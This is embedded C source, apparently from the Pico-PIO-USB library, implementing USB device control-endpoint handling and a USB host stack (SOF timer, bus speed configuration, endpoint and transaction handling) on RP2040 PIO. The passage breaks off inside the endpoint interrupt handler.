const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint;
endpoint_t *ep = pio_usb_device_get_endpoint_by_address(d->epaddr);
pio_usb_ll_configure_endpoint(ep, desc_endpoint);
ep->root_idx = 0;
ep->dev_addr = 0; // not used
ep->need_pre = 0;
ep->is_tx = (d->epaddr & 0x80) ? true : false; // device: endpoint in is tx
return true;
}
bool pio_usb_device_transfer(uint8_t ep_address, uint8_t *buffer,
uint16_t buflen) {
endpoint_t *ep = pio_usb_device_get_endpoint_by_address(ep_address);
return pio_usb_ll_transfer_start(ep, buffer, buflen);
}
//--------------------------------------------------------------------+
// USB Device Stack
//--------------------------------------------------------------------+
static int8_t ep0_desc_request_type = -1;
static uint16_t ep0_desc_request_len;
static uint8_t ep0_desc_request_idx;
static void __no_inline_not_in_flash_func(prepare_ep0_data)(uint8_t *data,
uint8_t len) {
// 0: control out (rx), 1 : control in (tx)
endpoint_t *ep = &pio_usb_ep_pool[1];
pio_usb_ll_transfer_start(ep, data, len);
if (len) {
// there is data, prepare for status as well
pio_usb_ll_transfer_start(&pio_usb_ep_pool[0], NULL, 0);
}
}
static void __no_inline_not_in_flash_func(prepare_ep0_rx)(uint8_t *data,
uint8_t len) {
// 0: control out (rx), 1 : control in (tx)
endpoint_t *ep = &pio_usb_ep_pool[0];
pio_usb_ll_transfer_start(ep, data, len);
if (len) {
// there is data, prepare for status as well
pio_usb_ll_transfer_start(&pio_usb_ep_pool[1], NULL, 0);
}
}
void pio_usb_device_task(void) {
root_port_t *rport = PIO_USB_ROOT_PORT(0);
pio_port_t *pp = PIO_USB_PIO_PORT(0);
if (rport->ints) {
pio_usb_device_irq_handler(0);
}
switch (ep0_desc_request_type) {
case DESC_TYPE_CONFIG: {
uint16_t req_len = ep0_desc_request_len;
uint16_t desc_len =
descriptor_buffers.config[2] | (descriptor_buffers.config[3] << 8);
req_len = req_len > desc_len ? desc_len : req_len;
prepare_ep0_data((uint8_t *)descriptor_buffers.config, req_len);
ep0_desc_request_type = -1;
} break;
case DESC_TYPE_STRING: {
const uint16_t *str =
(uint16_t *)&descriptor_buffers.string[ep0_desc_request_idx];
prepare_ep0_data((uint8_t *)str, str[0] & 0xff);
ep0_desc_request_type = -1;
} break;
case DESC_TYPE_HID_REPORT:{
prepare_ep0_data(
(uint8_t *)descriptor_buffers.hid_report[ep0_desc_request_idx],
ep0_desc_request_len);
ep0_desc_request_type = -1;
}
default:
break;
}
uint32_t se0_time_us =0;
bool reset = false;
while (pio_usb_bus_get_line_state(rport) == PORT_PIN_SE0) {
busy_wait_us_32(1);
se0_time_us++;
if (se0_time_us == 1000) {
memset(pio_usb_ep_pool, 0, sizeof(pio_usb_ep_pool));
rport->dev_addr = 0;
update_ep0_crc5_lut(rport->dev_addr);
// init endpoint control in/out
PIO_USB_ENDPOINT(0)->size = 64;
PIO_USB_ENDPOINT(0)->ep_num = 0;
PIO_USB_ENDPOINT(0)->is_tx = false;
PIO_USB_ENDPOINT(1)->size = 64;
PIO_USB_ENDPOINT(1)->ep_num = 0x80;
PIO_USB_ENDPOINT(1)->is_tx = true;
// TODO should be reset end, this is reset start only
rport->ep_complete = rport->ep_stalled = rport->ep_error = 0;
rport->ints |= PIO_USB_INTS_RESET_END_BITS;
reset = true;
}
}
if (reset) {
restart_usb_receiver(pp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true);
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
}
}
static void __no_inline_not_in_flash_func(configure_all_endpoints)(uint8_t const *desc) {
uint8_t const *desc_end = desc + (descriptor_buffers.config[2] |
(descriptor_buffers.config[3] << 8));
while (desc < desc_end) {
if (desc[1] == DESC_TYPE_ENDPOINT) {
pio_usb_device_endpoint_open(desc);
}
desc += desc[0];
}
}
static int __no_inline_not_in_flash_func(process_device_setup_stage)(uint8_t *buffer) {
int res = -1;
const usb_setup_packet_t *packet = (usb_setup_packet_t *)buffer;
if (packet->request_type == USB_REQ_DIR_IN) {
if (packet->request == 0x06) {
if (packet->value_msb == DESC_TYPE_DEVICE) {
prepare_ep0_data((uint8_t *)descriptor_buffers.device, 18);
res = 0;
} else if (packet->value_msb == DESC_TYPE_CONFIG) {
ep0_desc_request_len = (packet->length_lsb | (packet->length_msb << 8));
ep0_desc_request_type = DESC_TYPE_CONFIG;
res = 0;
} else if (packet->value_msb == DESC_TYPE_STRING) {
if (descriptor_buffers.string != NULL) {
ep0_desc_request_idx = packet->value_lsb;
ep0_desc_request_type = DESC_TYPE_STRING;
res = 0;
}
}
}
} else if (packet->request_type == USB_REQ_DIR_OUT) {
if (packet->request == 0x05) {
// set address
new_devaddr = packet->value_lsb;
prepare_ep0_data(NULL, 0);
res = 0;
} else if (packet->request == 0x09) {
// set configuration
configure_all_endpoints(descriptor_buffers.config);
prepare_ep0_data(NULL, 0);
res = 0;
}
} else if (packet->request_type == (USB_REQ_DIR_IN | USB_REQ_REC_IFACE)) {
if (packet->request == 0x06 && packet->value_msb == DESC_TYPE_HID_REPORT) {
// get hid report desc
ep0_desc_request_len = (packet->length_lsb | (packet->length_msb << 8));
ep0_desc_request_idx = packet->index_lsb;
ep0_desc_request_type = DESC_TYPE_HID_REPORT;
res = 0;
}
} else if (packet->request_type == (USB_REQ_TYP_CLASS | USB_REQ_REC_IFACE)) {
if (packet->request == 0x09) {
// set hid report
static __unused uint8_t received_hid_report[8]; // not used
prepare_ep0_rx(received_hid_report, 8);
res = 0;
} else if (packet->request == 0x0A) {
// set hid idle request
prepare_ep0_data(NULL, 0);
res = 0;
} else if (packet->request == 0x0B) {
// set hid protocol request
prepare_ep0_data(NULL, 0);
res = 0;
}
} else if (packet->request_type == (USB_REQ_REC_EP)) {
prepare_ep0_data(NULL, 0);
res = 0;
}
return res;
}
// IRQ Handler
static void __no_inline_not_in_flash_func(__pio_usb_device_irq_handler)(uint8_t root_idx) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
usb_device_t *dev = &pio_usb_device[0];
uint32_t const ints = root->ints;
if (ints & PIO_USB_INTS_RESET_END_BITS) {
memset(dev, 0, sizeof(*dev));
for (int i = 0; i < PIO_USB_DEV_EP_CNT; i++) {
dev->endpoint_id[i] = 2 * (i + 1); // only index IN endpoint
}
}
if (ints & PIO_USB_INTS_SETUP_REQ_BITS) {
process_device_setup_stage(root->setup_packet);
dev->control_pipe.stage = STAGE_DATA;
}
if (ints & PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) {
const uint32_t ep_all = root->ep_complete;
// control out
if (ep_all & 0x01) {
if (dev->control_pipe.stage == STAGE_STATUS) {
dev->control_pipe.stage = STAGE_COMPLETE;
} else if (dev->control_pipe.stage == STAGE_DATA) {
dev->control_pipe.stage = STAGE_STATUS;
prepare_ep0_data(NULL, 0);
}
}
// control in
if (ep_all & 0x02) {
if (dev->control_pipe.stage == STAGE_STATUS) {
dev->control_pipe.stage = STAGE_COMPLETE;
}
}
// clear all
root->ep_complete &= ~ep_all;
}
if (ints & PIO_USB_INTS_ENDPOINT_CONTINUE_BITS) {
for (int b = 0; b < 16; b++) {
if (root->ep_continue & (1 << b)) {
endpoint_t *ep = PIO_USB_ENDPOINT((b << 1) | 0x01);
uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep);
pio_usb_ll_transfer_continue(ep, xact_len);
root->ep_continue &= ~(1 << b);
}
}
}
// clear all
root->ints &= ~ints;
}
// weak alias to __pio_usb_device_irq_handler
void pio_usb_device_irq_handler(uint8_t root_id) __attribute__ ((weak, alias("__pio_usb_device_irq_handler")));
#pragma GCC pop_options
+775
View File
@@ -0,0 +1,775 @@
/**
* Copyright (c) 2021 sekigon-gonnoc
* Ha Thach (thach@tinyusb.org)
*/
#pragma GCC push_options
#pragma GCC optimize("-O3")
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include "hardware/sync.h"
#include "hardware/pio.h"
#include "hardware/gpio.h"
#include "pio_usb.h"
#include "pio_usb_ll.h"
#include "usb_crc.h"
enum {
TRANSACTION_MAX_RETRY = 3, // Number of times to retry a failed transaction
};
static alarm_pool_t *_alarm_pool = NULL;
static repeating_timer_t sof_rt;
// The sof_count may be incremented and then read on different cores.
static volatile uint32_t sof_count = 0;
static bool timer_active;
static volatile bool cancel_timer_flag;
static volatile bool start_timer_flag;
static __unused uint32_t int_stat;
static uint8_t sof_packet[4] = {USB_SYNC, USB_PID_SOF, 0x00, 0x10};
static uint8_t sof_packet_encoded[4 * 2 * 7 / 6 + 2];
static uint8_t sof_packet_encoded_len;
static uint8_t keepalive_encoded[1];
static bool sof_timer(repeating_timer_t *_rt);
//--------------------------------------------------------------------+
// Application API
//--------------------------------------------------------------------+
static void start_timer(alarm_pool_t *alarm_pool) {
if (timer_active) {
return;
}
if (alarm_pool != NULL) {
alarm_pool_add_repeating_timer_us(alarm_pool, -1000, sof_timer, NULL,
&sof_rt);
}
timer_active = true;
}
static __unused void stop_timer(void) {
cancel_repeating_timer(&sof_rt);
timer_active = false;
}
usb_device_t *pio_usb_host_init(const pio_usb_configuration_t *c) {
pio_port_t *pp = PIO_USB_PIO_PORT(0);
root_port_t *root = PIO_USB_ROOT_PORT(0);
pio_usb_bus_init(pp, c, root);
root->mode = PIO_USB_MODE_HOST;
float const cpu_freq = (float)clock_get_hz(clk_sys);
pio_calculate_clkdiv_from_float(cpu_freq / 48000000,
&pp->clk_div_fs_tx.div_int,
&pp->clk_div_fs_tx.div_frac);
pio_calculate_clkdiv_from_float(cpu_freq / 6000000,
&pp->clk_div_ls_tx.div_int,
&pp->clk_div_ls_tx.div_frac);
pio_calculate_clkdiv_from_float(cpu_freq / 96000000,
&pp->clk_div_fs_rx.div_int,
&pp->clk_div_fs_rx.div_frac);
pio_calculate_clkdiv_from_float(cpu_freq / 12000000,
&pp->clk_div_ls_rx.div_int,
&pp->clk_div_ls_rx.div_frac);
sof_packet_encoded_len =
pio_usb_ll_encode_tx_data(sof_packet, sizeof(sof_packet), sof_packet_encoded);
pio_usb_ll_encode_tx_data(NULL, 0, keepalive_encoded);
if (!c->skip_alarm_pool) {
_alarm_pool = c->alarm_pool;
if (!_alarm_pool) {
_alarm_pool = alarm_pool_create(2, 1);
}
}
start_timer(_alarm_pool);
return &pio_usb_device[0];
}
void pio_usb_host_stop(void) {
cancel_timer_flag = true;
while (cancel_timer_flag) {
continue;
}
}
void pio_usb_host_restart(void) {
start_timer_flag = true;
while (start_timer_flag) {
continue;
}
}
//--------------------------------------------------------------------+
// Bus functions
//--------------------------------------------------------------------+
static void __no_inline_not_in_flash_func(override_pio_program)(PIO pio, const pio_program_t* program, uint offset) {
for (uint i = 0; i < program->length; ++i) {
uint16_t instr = program->instructions[i];
pio->instr_mem[offset + i] =
pio_instr_bits_jmp != _pio_major_instr_bits(instr) ? instr
: instr + offset;
}
}
static __always_inline void override_pio_rx_program(PIO pio,
const pio_program_t *program,
const pio_program_t *debug_program,
uint offset, int debug_pin) {
if (debug_pin < 0) {
override_pio_program(pio, program, offset);
} else {
override_pio_program(pio, debug_program, offset);
}
}
static void
__no_inline_not_in_flash_func(configure_tx_program)(pio_port_t *pp,
root_port_t *port) {
if (port->pinout == PIO_USB_PINOUT_DPDM) {
pp->fs_tx_program = &usb_tx_dpdm_program;
pp->fs_tx_pre_program = &usb_tx_pre_dpdm_program;
pp->ls_tx_program = &usb_tx_dmdp_program;
} else {
pp->fs_tx_program = &usb_tx_dmdp_program;
pp->fs_tx_pre_program = &usb_tx_pre_dmdp_program;
pp->ls_tx_program = &usb_tx_dpdm_program;
}
}
static void __no_inline_not_in_flash_func(configure_fullspeed_host)(
pio_port_t *pp, root_port_t *port) {
pp->low_speed = false;
configure_tx_program(pp, port);
pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx);
override_pio_program(pp->pio_usb_tx, pp->fs_tx_program, pp->offset_tx);
SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx);
usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm);
pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_reset_instr);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dp);
SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dm);
pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dp);
SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx);
}
static void __no_inline_not_in_flash_func(configure_lowspeed_host)(
pio_port_t *pp, root_port_t *port) {
pp->low_speed = true;
configure_tx_program(pp, port);
pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx);
override_pio_program(pp->pio_usb_tx, pp->ls_tx_program, pp->offset_tx);
SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_ls_tx);
usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm);
pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_reset_instr);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dm);
SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dp);
pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dm);
SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_ls_rx);
}
static void __no_inline_not_in_flash_func(configure_root_port)(
pio_port_t *pp, root_port_t *root) {
if (root->is_fullspeed) {
configure_fullspeed_host(pp, root);
} else {
configure_lowspeed_host(pp, root);
}
}
static void __no_inline_not_in_flash_func(restore_fs_bus)(pio_port_t *pp) {
// change bus speed to full-speed
pp->low_speed = false;
pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, false);
SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx);
pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, true);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false);
SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true);
}
// Time about 1us ourselves so it lives in RAM.
static void __not_in_flash_func(busy_wait_1_us)(void) {
uint32_t start = get_time_us_32();
while (get_time_us_32() == start) {
tight_loop_contents();
}
}
static bool __no_inline_not_in_flash_func(connection_check)(root_port_t *port) {
if (pio_usb_bus_get_line_state(port) == PORT_PIN_SE0) {
busy_wait_1_us();
if (pio_usb_bus_get_line_state(port) == PORT_PIN_SE0) {
busy_wait_1_us();
// device disconnect
port->connected = false;
port->suspended = true;
port->ints |= PIO_USB_INTS_DISCONNECT_BITS;
// failed/retired all queuing transfer in this root
uint8_t root_idx = port - PIO_USB_ROOT_PORT(0);
for (int ep_idx = 0; ep_idx < PIO_USB_EP_POOL_CNT; ep_idx++) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_idx);
if ((ep->root_idx == root_idx) && ep->size && ep->has_transfer) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS);
}
}
return false;
}
}
return true;
}
//--------------------------------------------------------------------+
// SOF
//--------------------------------------------------------------------+
static int usb_setup_transaction(pio_port_t *pp, endpoint_t *ep);
static int usb_in_transaction(pio_port_t *pp, endpoint_t *ep);
static int usb_out_transaction(pio_port_t *pp, endpoint_t *ep);
void __not_in_flash_func(pio_usb_host_frame)(void) {
if (!timer_active) {
return;
}
pio_port_t *pp = PIO_USB_PIO_PORT(0);
// Send SOF
for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
if (!(root->initialized && root->connected && !root->suspended &&
connection_check(root))) {
continue;
}
configure_root_port(pp, root);
if (root->is_fullspeed) {
// Send SOF for full speed
pio_usb_bus_usb_transfer(pp, sof_packet_encoded, sof_packet_encoded_len);
} else {
// Send Keep alive for low speed
pio_usb_bus_usb_transfer(pp, keepalive_encoded, 1);
}
}
// Carry out all queued endpoint transaction
for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
if (!(root->initialized && root->connected && !root->suspended)) {
continue;
}
configure_root_port(pp, root);
for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT;
ep_pool_idx++) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx);
if ((ep->root_idx == root_idx) && ep->size) {
bool const is_periodic = ((ep->attr & 0x03) == EP_ATTR_INTERRUPT);
if (is_periodic && (ep->interval_counter > 0)) {
ep->interval_counter--;
continue;
}
if (ep->has_transfer && !ep->transfer_aborted) {
ep->transfer_started = true;
if (ep->need_pre) {
pp->need_pre = true;
}
if (ep->ep_num == 0 && ep->data_id == USB_PID_SETUP) {
usb_setup_transaction(pp, ep);
} else {
if (ep->ep_num & EP_IN) {
usb_in_transaction(pp, ep);
} else {
usb_out_transaction(pp, ep);
}
if (is_periodic) {
ep->interval_counter = ep->interval - 1;
}
}
if (ep->need_pre) {
pp->need_pre = false;
restore_fs_bus(pp);
}
ep->transfer_started = false;
}
}
}
}
// check for new connection to root hub
for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
if (root->initialized && !root->connected) {
port_pin_status_t const line_state = pio_usb_bus_get_line_state(root);
if (line_state == PORT_PIN_FS_IDLE || line_state == PORT_PIN_LS_IDLE) {
root->is_fullspeed = (line_state == PORT_PIN_FS_IDLE);
root->connected = true;
root->suspended = true; // need a bus reset before operating
root->ints |= PIO_USB_INTS_CONNECT_BITS;
}
}
}
// Invoke IRQHandler if interrupt status is set
for (uint8_t root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) {
if (PIO_USB_ROOT_PORT(root_idx)->ints) {
pio_usb_host_irq_handler(root_idx);
}
}
sof_count++;
// SOF counter is 11-bit
uint16_t const sof_count_11b = sof_count & 0x7ff;
sof_packet[2] = sof_count_11b & 0xff;
sof_packet[3] = (calc_usb_crc5(sof_count_11b) << 3) | (sof_count_11b >> 8);
sof_packet_encoded_len =
pio_usb_ll_encode_tx_data(sof_packet, sizeof(sof_packet), sof_packet_encoded);
}
static bool __no_inline_not_in_flash_func(sof_timer)(repeating_timer_t *_rt) {
(void)_rt;
pio_usb_host_frame();
return true;
}
//--------------------------------------------------------------------+
// Host Controller functions
//--------------------------------------------------------------------+
uint32_t pio_usb_host_get_frame_number(void) {
return sof_count;
}
void pio_usb_host_port_reset_start(uint8_t root_idx) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
// bus is not operating while in reset
root->suspended = true;
// Force line state to SE0
gpio_set_outover(root->pin_dp, GPIO_OVERRIDE_LOW);
gpio_set_outover(root->pin_dm, GPIO_OVERRIDE_LOW);
gpio_set_oeover(root->pin_dp, GPIO_OVERRIDE_HIGH);
gpio_set_oeover(root->pin_dm, GPIO_OVERRIDE_HIGH);
}
void pio_usb_host_port_reset_end(uint8_t root_idx) {
root_port_t *root = PIO_USB_ROOT_PORT(root_idx);
// line state to input
gpio_set_oeover(root->pin_dp, GPIO_OVERRIDE_NORMAL);
gpio_set_oeover(root->pin_dm, GPIO_OVERRIDE_NORMAL);
gpio_set_outover(root->pin_dp, GPIO_OVERRIDE_NORMAL);
gpio_set_outover(root->pin_dm, GPIO_OVERRIDE_NORMAL);
busy_wait_us(100); // TODO check if this is neccessary
// bus back to operating
root->suspended = false;
}
void pio_usb_host_close_device(uint8_t root_idx, uint8_t device_address) {
for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx);
if ((ep->root_idx == root_idx) && (ep->dev_addr == device_address) &&
ep->size) {
ep->size = 0;
ep->has_transfer = false;
}
}
}
static inline __force_inline endpoint_t * _find_ep(uint8_t root_idx,
uint8_t device_address, uint8_t ep_address) {
for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx);
// note 0x00 and 0x80 are matched as control endpoint of opposite direction
if ((ep->root_idx == root_idx) && (ep->dev_addr == device_address) &&
ep->size &&
((ep->ep_num == ep_address) ||
(((ep_address & 0x7f) == 0) && ((ep->ep_num & 0x7f) == 0)))) {
return ep;
}
}
return NULL;
}
bool pio_usb_host_endpoint_open(uint8_t root_idx, uint8_t device_address,
uint8_t const *desc_endpoint, bool need_pre) {
const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint;
if (NULL != _find_ep(root_idx, device_address, d->epaddr)) {
return true; // already opened
}
for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx);
// ep size is used as valid indicator
if (ep->size == 0) {
pio_usb_ll_configure_endpoint(ep, desc_endpoint);
ep->root_idx = root_idx;
ep->dev_addr = device_address;
ep->need_pre = need_pre;
ep->is_tx = (d->epaddr & 0x80) ? false : true; // host endpoint out is tx
return true;
}
}
return false;
}
bool pio_usb_host_endpoint_close(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address) {
endpoint_t *ep = _find_ep(root_idx, device_address, ep_address);
if (!ep) {
return false; // endpoint not opened
}
ep->size = 0; // mark as closed
return true;
}
bool pio_usb_host_send_setup(uint8_t root_idx, uint8_t device_address,
uint8_t const setup_packet[8]) {
endpoint_t *ep = _find_ep(root_idx, device_address, 0);
if (!ep) {
printf("cannot find ep 0x00\r\n");
return false;
}
ep->ep_num = 0; // setup is is OUT
ep->data_id = USB_PID_SETUP;
ep->is_tx = true;
return pio_usb_ll_transfer_start(ep, (uint8_t *)setup_packet, 8);
}
bool pio_usb_host_endpoint_transfer(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address, uint8_t *buffer,
uint16_t buflen) {
endpoint_t *ep = _find_ep(root_idx, device_address, ep_address);
if (!ep) {
printf("no endpoint 0x%02X\r\n", ep_address);
return false;
}
// Control endpoint, address may switch between 0x00 <-> 0x80
// therefore we need to update ep_num and is_tx
if ((ep_address & 0x7f) == 0) {
ep->ep_num = ep_address;
ep->is_tx = ep_address == 0;
ep->data_id = 1; // data and status always start with DATA1
}
return pio_usb_ll_transfer_start(ep, buffer, buflen);
}
bool pio_usb_host_endpoint_abort_transfer(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address) {
endpoint_t *ep = _find_ep(root_idx, device_address, ep_address);
if (!ep) {
printf("no endpoint 0x%02X\r\n", ep_address);
return false;
}
if (!ep->has_transfer) {
return false; // no transfer to abort
}
// mark transfer as aborted
ep->transfer_aborted = true;
// Race potential: SOF timer can be called before transfer_aborted is actually set
// and started the transfer. Wait 1 usb frame for transaction to complete.
// On the next SOF timer, transfer_aborted will be checked and skipped
while (ep->has_transfer && ep->transfer_started) {
busy_wait_ms(1);
}
// check if transfer is still active (could be completed)
bool const still_active = ep->has_transfer;
if (still_active) {
ep->has_transfer = false;
}
ep->transfer_aborted = false;
return still_active; // still active means transfer is successfully aborted
}
//--------------------------------------------------------------------+
// Transaction helper
//--------------------------------------------------------------------+
static int __no_inline_not_in_flash_func(usb_in_transaction)(pio_port_t *pp,
endpoint_t *ep) {
int res = 0;
uint8_t expect_pid = (ep->data_id == 1) ? USB_PID_DATA1 : USB_PID_DATA0;
pio_usb_bus_prepare_receive(pp);
pio_usb_bus_send_token(pp, USB_PID_IN, ep->dev_addr, ep->ep_num);
pio_usb_bus_start_receive(pp);
int receive_len = pio_usb_bus_receive_packet_and_handshake(pp, USB_PID_ACK);
uint8_t const receive_pid = pp->usb_rx_buffer[1];
if (receive_len >= 0) {
if (receive_pid == expect_pid) {
memcpy(ep->app_buf, &pp->usb_rx_buffer[2], receive_len);
pio_usb_ll_transfer_continue(ep, receive_len);
} else {
// DATA0/1 mismatched, 0 for re-try next frame
}
} else if (receive_pid == USB_PID_NAK) {
// NAK try again next frame
} else if (receive_pid == USB_PID_STALL) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_STALLED_BITS);
} else {
res = -1;
if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
res = -2;
}
if (++ep->failed_count >= TRANSACTION_MAX_RETRY) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS); // failed after 3 consecutive retries
}
}
if (res == 0) {
ep->failed_count = 0; // reset failed count if we got a sound response
}
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
pp->usb_rx_buffer[0] = 0;
pp->usb_rx_buffer[1] = 0;
return res;
}
static int __no_inline_not_in_flash_func(usb_out_transaction)(pio_port_t *pp,
endpoint_t *ep) {
int res = 0;
uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep);
pio_usb_bus_prepare_receive(pp);
pio_usb_bus_send_token(pp, USB_PID_OUT, ep->dev_addr, ep->ep_num);
pio_usb_bus_usb_transfer(pp, ep->buffer, ep->encoded_data_len);
pio_usb_bus_start_receive(pp);
pio_usb_bus_wait_handshake(pp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
uint8_t const receive_token = pp->usb_rx_buffer[1];
if (receive_token == USB_PID_ACK) {
pio_usb_ll_transfer_continue(ep, xact_len);
} else if (receive_token == USB_PID_NAK) {
// NAK try again next frame
} else if (receive_token == USB_PID_STALL) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_STALLED_BITS);
} else {
res = -1;
if (++ep->failed_count >= TRANSACTION_MAX_RETRY) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS);
}
}
if (res == 0) {
ep->failed_count = 0;// reset failed count if we got a sound response
}
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
pp->usb_rx_buffer[0] = 0;
pp->usb_rx_buffer[1] = 0;
return res;
}
static int __no_inline_not_in_flash_func(usb_setup_transaction)(
pio_port_t *pp, endpoint_t *ep) {
int res = 0;
// Setup token
pio_usb_bus_prepare_receive(pp);
pio_usb_bus_send_token(pp, USB_PID_SETUP, ep->dev_addr, 0);
// Data
ep->data_id = 0; // set to DATA0
pio_usb_bus_usb_transfer(pp, ep->buffer, ep->encoded_data_len);
// Handshake
pio_usb_bus_start_receive(pp);
const uint8_t handshake = pio_usb_bus_wait_handshake(pp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
if (handshake == USB_PID_ACK) {
ep->actual_len = 8;
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS);
} else {
res = -1;
ep->data_id = USB_PID_SETUP; // retry setup
if (++ep->failed_count >= TRANSACTION_MAX_RETRY) {
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS);
}
}
if (res == 0) {
ep->failed_count = 0;// reset failed count if we got a sound response
}
pp->usb_rx_buffer[1] = 0; // reset buffer
return res;
}
static void __no_inline_not_in_flash_func(handle_endpoint_irq)(
root_port_t *root, uint32_t flag, volatile uint32_t *ep_reg) {
(void)root;
const uint32_t ep_all = *ep_reg;
for (uint8_t ep_idx = 0; ep_idx < PIO_USB_EP_POOL_CNT; ep_idx++) {
if (ep_all & (1u << ep_idx)) {
endpoint_t *ep = PIO_USB_ENDPOINT(ep_idx);
usb_device_t *device = NULL;
// find device this endpoint belongs to
for (int idx = 0; idx < PIO_USB_DEVICE_CNT; idx++) {
usb_device_t *dev = &pio_usb_device[idx];
if (dev->connected && (ep->dev_addr == dev->address)) {
device = dev;
break;
}
}
if (device) {
// control endpoint is either 0x00 or 0x80
if ((ep->ep_num & 0x7f) == 0) {
control_pipe_t *pipe = &device->control_pipe;
if (flag != PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) {
pipe->stage = STAGE_SETUP;
pipe->operation = CONTROL_ERROR;
} else {
ep->data_id = 1; // both data and status have DATA1
if (pipe->stage == STAGE_SETUP) {
if (pipe->operation == CONTROL_IN) {
pipe->stage = STAGE_IN;
ep->ep_num = 0x80;
ep->is_tx = false;
pio_usb_ll_transfer_start(ep,
(uint8_t *)(uintptr_t)pipe->rx_buffer,
pipe->request_length);
} else if (pipe->operation == CONTROL_OUT) {
if (pipe->out_data_packet.tx_address != NULL) {
pipe->stage = STAGE_OUT;
ep->ep_num = 0x00;
ep->is_tx = true;
pio_usb_ll_transfer_start(ep,
pipe->out_data_packet.tx_address,
pipe->out_data_packet.tx_length);
} else {
pipe->stage = STAGE_STATUS;
ep->ep_num = 0x80;
ep->is_tx = false;
pio_usb_ll_transfer_start(ep, NULL, 0);
}
}
} else if (pipe->stage == STAGE_IN) {
pipe->stage = STAGE_STATUS;
ep->ep_num = 0x00;
ep->is_tx = true;
pio_usb_ll_transfer_start(ep, NULL, 0);
} else if (pipe->stage == STAGE_OUT) {
pipe->stage = STAGE_STATUS;
ep->ep_num = 0x80;
ep->is_tx = false;
pio_usb_ll_transfer_start(ep, NULL, 0);
